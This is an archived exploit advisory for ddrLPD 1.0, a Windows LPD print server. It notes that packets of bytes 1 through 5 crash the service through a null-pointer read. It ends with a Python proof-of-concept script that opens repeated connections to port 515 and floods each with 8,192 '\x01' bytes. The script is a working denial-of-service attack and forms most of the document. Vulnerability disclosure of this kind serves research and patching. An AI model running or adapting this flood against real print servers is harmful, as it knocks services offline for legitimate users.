source: https://www.securityfocus.com/bid/39904/info
ddrLPD is prone to a remote denial-of-service vulnerability.
An attacker can exploit this issue to crash the affected application, denying service to legitimate users.
ddrLPD 1.0 is vulnerable; other versions may also be affected.
#==================================================================================================#
##
#$$$$$$$\$$\ $$\ $$\$$$$$$\#
#$$__$$\ \__|$$ |$$ |$$__$$\ #
#$$ |$$ |$$\$$$$$$$\$$$$$$\$$$$$$$\ $$$$$$\$$$$$$$\ $$$$$$\$$ |$$ /$$ |#
#$$$$$$$\ |$$ |$$_____|$$__$$\ $$__$$\ $$__$$\ $$__$$\ $$__$$\ $$ |$$$$$$$$ |#
#$$__$$\ $$ |\$$$$$$\$$ /$$ |$$ |$$ |$$$$$$$$ |$$ |$$ |$$ /$$ |$$ |$$__$$ |#
#$$ |$$ |$$ | \____$$\ $$ |$$ |$$ |$$ |$$ ____|$$ |$$ |$$ |$$ |$$ |$$ |$$ |#
#$$$$$$$|$$ |$$$$$$$|$$$$$$$|$$ |$$ |\$$$$$$$\ $$ |$$ |\$$$$$$|$$ |$$ |$$ |#
#\_______/ \__|\_______/ $$____/ \__|\__| \_______|\__|\__| \______/ \__|\__|\__|#
#$$ |#
#$$ | Plastics Make It Possible#
#\__|#
##
#==================================================================================================#
##
# Vulnerability............Denial-of-Service #
# Software.................ddrLPD 1.0#
# Download.................http://ddr.web.id/files/ddrLPDsetup.exe #
# Date.....................4/29/10 #
##
#==================================================================================================#
##
# Site.....................http://cross-site-scripting.blogspot.com/ #
# Email....................john.leitch5@gmail.com#
##
#==================================================================================================#
##
# ##Description###
##
# Sending packets composed of bytes between 1 and 5 (inclusive) causes the the server to crash.#
##
# ddrlpd.exe: The instruction at 0x50431A referenced memory at 0x0. The memory could not be read #
# (0x0050431A -> 00000000) #
##
# ##Proof of Concept## #
import socket
host ='localhost'
try:
while 1:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 515))
s.settimeout(1.0)
print 'connected',
try:
while 1:
s.send('\x01'*8192)
print '.',
except Exception:
print '\nconnection closed'
pass
except Exception:
print 'couldn\'t connect'